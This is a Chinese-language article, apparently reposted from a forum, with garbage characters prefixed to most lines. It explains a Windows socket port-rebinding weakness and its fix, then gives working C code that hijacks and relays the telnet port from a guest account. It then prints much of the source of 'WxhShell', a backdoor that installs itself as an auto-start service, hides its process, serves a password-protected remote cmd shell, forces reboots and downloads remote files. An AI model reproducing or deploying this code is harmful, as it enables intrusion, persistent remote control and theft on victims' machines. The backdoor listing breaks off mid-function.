在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'e>'JZR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?(khoL t kQ[23 saddr.sin_family = AF_INET;
$/u.F; pcd?6jh8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zzC{I@b i*xVD`x ~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
EnMc9FN(y 9e;{o,r@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?+c-m+;wj <e|B7<. 这意味着什么?意味着可以进行如下的攻击:
.F/l$4CQ (e
2.Ru 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RR`\q>| IQ JFL
+f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3ug>,1:6- qP/McH? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
f'j<v *EU1`q* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Pr/q?qZY *TL3-S? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
r-hb]!t [MAvU?; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KrTlzbw&p\ 1LmbXH]% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5 yL"=3&+ H'@@%nO( #include
k
c L
+ #include
Mf9x=K9 #include
SR4 mbQ: #include
|i(@1 l DWORD WINAPI ClientThread(LPVOID lpParam);
OQ3IkE`G int main()
:dlG:=.W {
oJc v D WORD wVersionRequested;
$3Sm? DWORD ret;
SG)|4$" WSADATA wsaData;
JGlp7wro BOOL val;
>Qf`xUZ SOCKADDR_IN saddr;
FdxV#.BE SOCKADDR_IN scaddr;
Jb!s#g int err;
F@xKL;'N74 SOCKET s;
kc[<5^b5 SOCKET sc;
ATD4%|a9h int caddsize;
_ o6Zj1p HANDLE mt;
`!
)^g/>0i DWORD tid;
P.Qz>c^-C wVersionRequested = MAKEWORD( 2, 2 );
hIo^/_K err = WSAStartup( wVersionRequested, &wsaData );
za5E{<0 if ( err != 0 ) {
NV18~5#</ printf("error!WSAStartup failed!\n");
3Q#3S return -1;
gGbJk&E }
Pu2cU5n saddr.sin_family = AF_INET;
JF9r[% )tx!BJiZ[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
j-/F*P ov Wm}!r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nhB.>ReAi saddr.sin_port = htons(23);
Hy2~D:34 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$*+`;PG- {
^%RIz!} printf("error!socket failed!\n");
Nf9$q| %! return -1;
?,UO$#Xm }
ugQySg> val = TRUE;
q[~+Zm //SO_REUSEADDR选项就是可以实现端口重绑定的
Z7=k$e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
RxGZ#!j/ {
!@f!4n.e|I printf("error!setsockopt failed!\n");
'dd[=vzK return -1;
wN$u^] }
3Ebkq[/*% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%H7H0%qW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
82w=t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,M9Hdm *|.-y-> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T3/Gl6f {
j.g9O]pi ret=GetLastError();
dQPW9~g8Hg printf("error!bind failed!\n");
dJ=z'?|%g return -1;
:cE~\BS& }
-h#9sl-> listen(s,2);
LVNJlRK while(1)
-hP>;~*4 {
hv9k9i7@l caddsize = sizeof(scaddr);
e~Z>C>J //接受连接请求
y(=$z/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ck#MpQ!An if(sc!=INVALID_SOCKET)
??? ;H {
!^(?C@TQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
j#
!U6T if(mt==NULL)
e'5sT#T9 l {
f
_*F&-L printf("Thread Creat Failed!\n");
+{H0$4y break;
bLyaJ%pa\/ }
VK]sK e }
Huho|6ohH CloseHandle(mt);
+jGSD@32> }
sB%QqFRP closesocket(s);
>Ef{e6 WSACleanup();
o_on/{qz return 0;
P^& =L&U }
4{Af 3N DWORD WINAPI ClientThread(LPVOID lpParam)
9 az{j1 {
&bT \4 SOCKET ss = (SOCKET)lpParam;
M%qHf{ B SOCKET sc;
H+F># unsigned char buf[4096];
NKE,}^C SOCKADDR_IN saddr;
Z-rHYfa4 long num;
PuGc{kt DWORD val;
.{
r
%C4q9 DWORD ret;
+:#UU;W //如果是隐藏端口应用的话,可以在此处加一些判断
oTLpq:9J //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m}o4Vr;" saddr.sin_family = AF_INET;
b]xE^zM-I` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
clO9l=g saddr.sin_port = htons(23);
?S~j2 J] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!ui:0_ {
zJX _EO printf("error!socket failed!\n");
D:vX/mf;7 return -1;
XPsRa[08WK }
!OL[1_-4|K val = 100;
{<y.G1<. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s>1Wjz2M {
Rr6}$]1 ret = GetLastError();
dE]yb|Ld return -1;
A4hbh$ }
e|S_B*1*0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ERz{, >G? {
#/LU@+ ret = GetLastError();
!pAb+6~T return -1;
.p$tb2%r }
IJ#+"(?7,u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,)%$Zxng {
$hq'9}ASOL printf("error!socket connect failed!\n");
{'$+?V"& closesocket(sc);
$Z[W}7{pt# closesocket(ss);
n>\2_$uDI return -1;
8D6rShx = }
\:D"#s%x while(1)
F0]xc {
zyPc<\HoK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\zM3{{mV/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
?:+sjHzXT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9U]j@*QN num = recv(ss,buf,4096,0);
G7uYkJO if(num>0)
A8U\/GP send(sc,buf,num,0);
1Zt>andBF else if(num==0)
pUD(5v*0R break;
GW\66$| num = recv(sc,buf,4096,0);
\k>1q/T0V if(num>0)
!@4 i:,p@ send(ss,buf,num,0);
@e:=
D else if(num==0)
3:"w"0[K3 break;
p4^&G/' }
~>B`T%=H closesocket(ss);
Nn='9s9F?} closesocket(sc);
WO!'(" return 0 ;
^\C Fke= }
!yo@i_1D xZ(ryE% O
8XHaVLg3 ==========================================================
/_qW?LKG/ OAo;vC:^ 下边附上一个代码,,WXhSHELL
Z~1uyr( Q:U>nm>xA ==========================================================
vo>i36 LDh,!5G-M #include "stdafx.h"
&>P<Zw- 2Og<e| #include <stdio.h>
0)rayzv #include <string.h>
SW)jDy #include <windows.h>
"/nbcQ*s*E #include <winsock2.h>
| Pi! UZB #include <winsvc.h>
}inV)QQ #include <urlmon.h>
b} FhC"'i Z -fiJ75 #pragma comment (lib, "Ws2_32.lib")
Q?>DbT6 #pragma comment (lib, "urlmon.lib")
s
w{e | kgh0 #define MAX_USER 100 // 最大客户端连接数
6/6{69tnr #define BUF_SOCK 200 // sock buffer
FxmHy{JG #define KEY_BUFF 255 // 输入 buffer
F-Bj U^8S@#1Q #define REBOOT 0 // 重启
L%jIU<?Z7 #define SHUTDOWN 1 // 关机
gY!?JZC-0 }0,dG4Oo= #define DEF_PORT 5000 // 监听端口
7n,=`0{r {mUt|m7! #define REG_LEN 16 // 注册表键长度
XAZPbvG|$ #define SVC_LEN 80 // NT服务名长度
{krBAz& V1haAP[# // 从dll定义API
^.9DfA0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=Cd{bj.8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
WK0:3q(P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0n}v"61q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7=/iFv[ f,x;t-o+R // wxhshell配置信息
}U ' struct WSCFG {
05:?5M4}; int ws_port; // 监听端口
q@g#DP+C char ws_passstr[REG_LEN]; // 口令
U\(71= int ws_autoins; // 安装标记, 1=yes 0=no
8@Bm2?$}g char ws_regname[REG_LEN]; // 注册表键名
P=PeWX*L<Z char ws_svcname[REG_LEN]; // 服务名
\SoT^PW char ws_svcdisp[SVC_LEN]; // 服务显示名
iI>7I<_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
8L+A&^qx char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[(eX\kL int ws_downexe; // 下载执行标记, 1=yes 0=no
et"Pb_-U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yj=OR|v char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3b|=V C`R<55x6 };
icb*L ~qm S'\e"w // default Wxhshell configuration
G<*
Iw>ep struct WSCFG wscfg={DEF_PORT,
"7'P Lo3O "xuhuanlingzhe",
na|sKE;{ 1,
wqi0%Cu* "Wxhshell",
684|Uuf7 "Wxhshell",
k>\v]&|T` "WxhShell Service",
mz+UkA' "Wrsky Windows CmdShell Service",
o2'Wu:Y" "Please Input Your Password: ",
c&I 1,
no W]E}nN "
http://www.wrsky.com/wxhshell.exe",
\m%c"'[ "Wxhshell.exe"
t0GJ$]) };
fERO(o YYT#{>& // 消息定义模块
hO&_VCk char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H\qZu%F' char *msg_ws_prompt="\n\r? for help\n\r#>";
{z\K!=X/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
gO)":!_n W char *msg_ws_ext="\n\rExit.";
M9afg$;.xe char *msg_ws_end="\n\rQuit.";
PZ`11#bbm char *msg_ws_boot="\n\rReboot...";
IxS%V31 char *msg_ws_poff="\n\rShutdown...";
Uqb]&2 char *msg_ws_down="\n\rSave to ";
~\AF\n% IRwtM'%0 char *msg_ws_err="\n\rErr!";
X9NP,6 char *msg_ws_ok="\n\rOK!";
7F6B &^#u=w?^x char ExeFile[MAX_PATH];
O$}.b=N9 int nUser = 0;
9^ZtbmUf HANDLE handles[MAX_USER];
k=[s%O6H int OsIsNt;
fBctG~CJH ,oh;(|= SERVICE_STATUS serviceStatus;
aZCq{7Xs SERVICE_STATUS_HANDLE hServiceStatusHandle;
Dsp$Nr%* =#,`k<v%I // 函数声明
jeJgDAUv int Install(void);
p7@R+F\.}; int Uninstall(void);
6[4VbIBSI int DownloadFile(char *sURL, SOCKET wsh);
gK9d `5 int Boot(int flag);
9aY8`B void HideProc(void);
3V?x&qlP> int GetOsVer(void);
"I)zi]vk int Wxhshell(SOCKET wsl);
i/%lB void TalkWithClient(void *cs);
xE
w\'tH int CmdShell(SOCKET sock);
4&;iORw&E4 int StartFromService(void);
bY=[ USgps int StartWxhshell(LPSTR lpCmdLine);
QcW8A ,\q DegbjqZ# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
F{!pii5O9 VOID WINAPI NTServiceHandler( DWORD fdwControl );
4minzrKM\ |Z<\k x // 数据结构和表定义
T" W<l4i- SERVICE_TABLE_ENTRY DispatchTable[] =
HyU: BW;
{
ft6)n T/"& {wscfg.ws_svcname, NTServiceMain},
(+epRC {NULL, NULL}
robg1 };
.Mb[j1L^ o~IAZU39 // 自我安装
^ls@Gr7`P int Install(void)
v/q-{1 {
]*\MIz{56' char svExeFile[MAX_PATH];
BZ?C k[E]Z HKEY key;
=+Fb\HvX{ strcpy(svExeFile,ExeFile);
p@su:B2Rl dHXe2rTE;& // 如果是win9x系统,修改注册表设为自启动
)x7n-|y6 if(!OsIsNt) {
#@$80eFq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L^
J|cgmNw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|(z{)yWbC[ RegCloseKey(key);
su1lv# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BsIF3sS#9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j#n ]q{s4 RegCloseKey(key);
5]N0p,f return 0;
ORs:S$Nt$ }
lx%c&~.DiB }
II=`=H{ }
OuTV74 else {
7Ed0BJTa THp_ dTD // 如果是NT以上系统,安装为系统服务
{r&mNbz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*#mmk1` if (schSCManager!=0)
(@+pz/ {
5-|!mSd SC_HANDLE schService = CreateService
J[ Gpd (
l#KcmOz schSCManager,
Cdz&'en^ wscfg.ws_svcname,
x|rc[e%k wscfg.ws_svcdisp,
;`78h?` SERVICE_ALL_ACCESS,
$*#^C;7O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/:4J SERVICE_AUTO_START,
d&FXndC4F SERVICE_ERROR_NORMAL,
4H-eFs%5 svExeFile,
sN[}B{+ NULL,
Dt:
Q$ NULL,
2<EV
iP9 NULL,
cAW}a NULL,
kw#X,hP NULL
?.46X^ );
`q*[fd1u. if (schService!=0)
2LtDS?)@ {
m^3x%ENZ CloseServiceHandle(schService);
5^g* CloseServiceHandle(schSCManager);
gZ,h95' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}
{1IB strcat(svExeFile,wscfg.ws_svcname);
F/s
n"2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
H
-Mb:4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
YhN<vZ}U!~ RegCloseKey(key);
"]S return 0;
v76Gwu$d }
i/9iM\2 }
9eMle?pF CloseServiceHandle(schSCManager);
<L-F3Buu }
xuK"pS }
{<,%_pJR QHR,p/p return 1;
d?fS#Ryb }
1rm\ u% cRT'?w`} // 自我卸载
&i5@4,p y9 int Uninstall(void)
>w
S'z]T9 {
S<0 &V HKEY key;
?})A-$f ~ `8!9Fp if(!OsIsNt) {
l_h:S`z. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_,J+b R+b RegDeleteValue(key,wscfg.ws_regname);
YYe G9yR RegCloseKey(key);
6'# 5Dqw"r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;st0Ekni) RegDeleteValue(key,wscfg.ws_regname);
?M4o>T%p " RegCloseKey(key);
5CY%h return 0;
X8)k'h }
"-Q+!byh }
g:Hj1!' }
E 2nz else {
2%%\jlT_ sA2-3V<t8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ALMsF2H if (schSCManager!=0)
xp^RAVXq` {
<z<>E1ZLI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=[(34# if (schService!=0)
`_\KN_-%Vu {
bU=Utniq if(DeleteService(schService)!=0) {
o "VKAP CloseServiceHandle(schService);
*#=Ij r~ CloseServiceHandle(schSCManager);
&A0OYV3i. return 0;
=CLPz8 }
6
5govor CloseServiceHandle(schService);
n5}]C{s' }
_ ;HdX$op CloseServiceHandle(schSCManager);
p@tg pFt }
?bZH Aed }
u$T]A8e YG\#N+D return 1;
~i.*fL_Y }
X*2W4udF (nqry[g& // 从指定url下载文件
J K/{IkF int DownloadFile(char *sURL, SOCKET wsh)
}A3/( {
JS/'0. HRESULT hr;
bzi"7%c char seps[]= "/";
j9
nw,x$ char *token;
1:-'euA" char *file;
y7HFmGM char myURL[MAX_PATH];
Os9SfL char myFILE[MAX_PATH];
dFz"wvu` o (:l6R9'= strcpy(myURL,sURL);
F^%w%E\ token=strtok(myURL,seps);
Wiis<^) while(token!=NULL)
DDrR9}k {
P $`1} file=token;
hr
vTFJ token=strtok(NULL,seps);
2-4N)q }
SzW;Yb"#^k -@> {q/ GetCurrentDirectory(MAX_PATH,myFILE);
7#LIG r strcat(myFILE, "\\");
!*#9b strcat(myFILE, file);
F-,gj{s send(wsh,myFILE,strlen(myFILE),0);
@O#!W]6NT6 send(wsh,"...",3,0);
{ZeY:\G~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Rta}* if(hr==S_OK)
Ks.b).fH return 0;
p(F@lL- else
Olzw)WjG return 1;
!#0)`4O xFu ,e }
r^
r+h[V yT^2;/Z // 系统电源模块
I\)`,w int Boot(int flag)
L.;b(bFe {
SEgw!2H HANDLE hToken;
B}"R@;N TOKEN_PRIVILEGES tkp;
=R5W
KX \[G'cE if(OsIsNt) {
E1QJ^]MG. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SdH=1zBc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!9d7wPUFr tkp.PrivilegeCount = 1;
}c,b]!: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
VzG|Xtco[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?1=.scmgDG if(flag==REBOOT) {
jF6_yw
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?N{\qF1Mz return 0;
xkSX KR }
k0Vri$x else {
kK5&?)3Y: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
V!:!c]8F return 0;
Jh+;+" }
3 Zp<# }
KM &P5} else {
}IygU 6{G if(flag==REBOOT) {
l!p`g>$&f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Pt"K+]Ym return 0;
Xqf\}p n }
Yn?beu' else {
t w4,gW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
VxY]0&sq return 0;
9B~&d(Bm }
Fo3*PcUv }
2|k$Vfz Z}O]pm>=G return 1;
C^q|(G) }
$:s@nKgnD~ -mJs0E*g // win9x进程隐藏模块
a8xvK;` void HideProc(void)
i9 aR# {
JE O$v|X M7BpOmK' HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Y1cL dQn if ( hKernel != NULL )
<0';2yP" {
8L[+$g` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&S="]*Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
RxP~%oADw FreeLibrary(hKernel);
mAlG}< }
4j3q69TZR :^(y~q? return;
X1w11Z7o }
|?KYY0 ";.j[p:gi // 获取操作系统版本
7#JnQ|
] int GetOsVer(void)
,X/j6\VBO {
_sy{rnaqvb OSVERSIONINFO winfo;
q%,86A> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
.5 E)dU GetVersionEx(&winfo);
]{=y8]7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
XU7to]'K return 1;
>|S@twy else
EUSM4djL return 0;
/US% s }
tE0{ae ,?LE5] // 客户端句柄模块
pnu?=.O int Wxhshell(SOCKET wsl)
D@p{EH {
a6zWg7 PN SOCKET wsh;
5~pxu struct sockaddr_in client;
pcv\|)&} DWORD myID;
Yv=L'0K& .hckZx / while(nUser<MAX_USER)
OfrzmL<K {
8nZ_. int nSize=sizeof(client);
O!>#q4&] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
mfj%-)l9 if(wsh==INVALID_SOCKET) return 1;
#Ey_.4S K91O$'J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?o)?N8U if(handles[nUser]==0)
E6R\DM closesocket(wsh);
0B[~j7EGO
else
"KF]s. nUser++;
;^JMX4[ }
5(2 C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fP
3eR>e qYoU\y7 return 0;
KCpq<A% }
zA?AX1%Wa jHob{3 // 关闭 socket
zk1]? void CloseIt(SOCKET wsh)
'h;qI& {
#'@@P6o5 closesocket(wsh);
<iH nUser--;
>;"%Db ExitThread(0);
PDH|=meXM }
B*)mHSs2 IR3+BDE)> // 客户端请求句柄
w('}QB`xad void TalkWithClient(void *cs)
Ve9)?=! {
7Ou]!AOhG p< pGqW SOCKET wsh=(SOCKET)cs;
'Sgz\=K char pwd[SVC_LEN];
E|oOd<z char cmd[KEY_BUFF];
-|u
yJh char chr[1];
}s"].Xm^2 int i,j;
N2|NYDQs b%x=7SMXO while (nUser < MAX_USER) {
PB*G#2W EqBTN07dZS if(wscfg.ws_passstr) {
KbciRRf!k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`tuGy}S2
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k|RY;
8_
//ZeroMemory(pwd,KEY_BUFF);
E:uTjXt i=0;
,jW a&7 while(i<SVC_LEN) {
(i\{hq/ xY.?OHgG/ // 设置超时
,*\s fd_set FdRead;
f`rI]v|@ struct timeval TimeOut;
xFIzq FD_ZERO(&FdRead);
6~>h;wC FD_SET(wsh,&FdRead);
.qf~t/o TimeOut.tv_sec=8;
uT=5zu TimeOut.tv_usec=0;
e NH9`Aa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ugj I$u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
MLiaCG; g-u4E^,*| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
BW3Q03SW6 pwd
=chr[0]; XL; WU8>
if(chr[0]==0xd || chr[0]==0xa) { -2u)orWP
pwd=0; 9D,!]
break; +BhJske
} >T:0
i++; p)z#%BY56
} |+[Y_j
q<^MC/]
// 如果是非法用户,关闭 socket C7AD1rl
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f)Y~F/[$P
} O~?d;.b
C CLc,r>)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O:~J_Wwl!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2*BdE[yG
3xdJ<Lrq
while(1) { %\}5u[V
d.Ccc/1-
ZeroMemory(cmd,KEY_BUFF); O.\\)8xA
19[!9ci
// 自动支持客户端 telnet标准 1_;{1O+B
j=0; Lm<WT*@
while(j<KEY_BUFF) { J p^#G2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l,3,$
cmd[j]=chr[0]; vl+bc[ i~
if(chr[0]==0xa || chr[0]==0xd) { ,)TnIByM
cmd[j]=0; QoxQ"r9Wh
break; Jt<J#M<}7
} (J%>{?"ij
j++; tJ8:S@E3,
} Nz*,m'-1e
{.;qz4d`
// 下载文件
{gD`yoPrV
if(strstr(cmd,"http://")) { P*U^,Jh<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); suFk<^3
if(DownloadFile(cmd,wsh)) 5DkEJk7a
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
3Z`
wU
else GZn=Hgv8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \}Iq-Je
} a<E9@
else { 1A#/70Mo
fU$_5v4
switch(cmd[0]) { 8$Zwk7 w8A
f|F=)tJO
// 帮助 OA} r*Wz
case '?': { <%rm?;PBl
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~Je40vO[
break; A;&YPHB
} .=d40m
// 安装 TiG?r$6v%
case 'i': { \j BA4?(S
if(Install()) @0C[o9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sX*L[3!vN
else JL{fW>5y|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXf60{:f
break; Dfc%
jWbA
} _IV!9 JL
// 卸载 ^Pu:&:ki
case 'r': { .5s^a.e'O
if(Uninstall()) b353+7"|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%N!gy
else :O,r3O6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I3'UrKKO
break; Uq{$j5p8
} ]>*VEe}hJ
// 显示 wxhshell 所在路径 ;volBfv
case 'p': { P>_9>k@;Q
char svExeFile[MAX_PATH]; EA9.?F
strcpy(svExeFile,"\n\r"); Tr|PR t
strcat(svExeFile,ExeFile); BIew\N
send(wsh,svExeFile,strlen(svExeFile),0); u?g&(h
break; w:iMrQeJg
} N`3^:EJL8
// 重启 =PNkzFUo
case 'b': { JRZp'Ln
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ur=:Ha
if(Boot(REBOOT)) }aI>dHL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "USzk7=&.
else { eOkiB!G.
closesocket(wsh); gy~2LY !}
ExitThread(0); ) j&khHD
} ?9!9lSH6%
break; I|>.&nb
} 8bs' Ek{'o
// 关机 ?z6K/'?
case 'd': { /0Qo(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !b4AeiL>w
if(Boot(SHUTDOWN)) }Qe(6'l_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8=qnY2j
else { j8bA"r1
closesocket(wsh); 8t, &dq
ExitThread(0); >.9V`m|
} 2_o\Wor#
break; Nq\)o{<1
} 9(}d7y
// 获取shell d)D!np=
case 's': { C.LAr~P
CmdShell(wsh); o"L8n(\
closesocket(wsh); tq@)J_7|
ExitThread(0); "Ms{c=XPK
break; S?a4IK
} .
.S3-(xW
// 退出 =2DK?]K;
case 'x': { z7L+wNYwg
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kTT%<
e
CloseIt(wsh); k\*?<g
break; a.JjbFL
} [q_62[-X
// 离开 9%3+\[s1
case 'q': { 5 $$Cav
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >+.GBf<E
closesocket(wsh); :sLg$OF
WSACleanup(); |r?0!;bN0
exit(1); E]g6|,4~-
break; 4${3e
Sg_
} k{b|w')
} B"#pvJN
} 5WxNH}{
#Yp&yi
}
// 提示信息 ]GCw3r(!
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 77aUuP7Iw
} vfx{:3fO
} Ex*{iJ;\
qvGmJN0
return; AW|SD
}
$?gKIv>g
n
c~JAT#'
// shell模块句柄 QfPw50N;
int CmdShell(SOCKET sock) "-MB U
{ KU0Ad);e
STARTUPINFO si; Knb(MI6
ZeroMemory(&si,sizeof(si)); .'38^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z02EE-A
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PU1YR;[Fe
PROCESS_INFORMATION ProcessInfo; {YrA[9
char cmdline[]="cmd"; %Ny1H/@Q1+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dV'^K%#
return 0; ./0wt+
} }|[0FP]v
Ars*H,9>e
// 自身启动模式 ?2,D-3 {
int StartFromService(void) +|pYu<OY
{ i`];xNR'
typedef struct {r|RH"|?Z(
{ p8YOow7)
DWORD ExitStatus; &OXx\}>MW
DWORD PebBaseAddress; @.}Y'`9L
DWORD AffinityMask; es%py~m)
DWORD BasePriority; VnB HQ.C
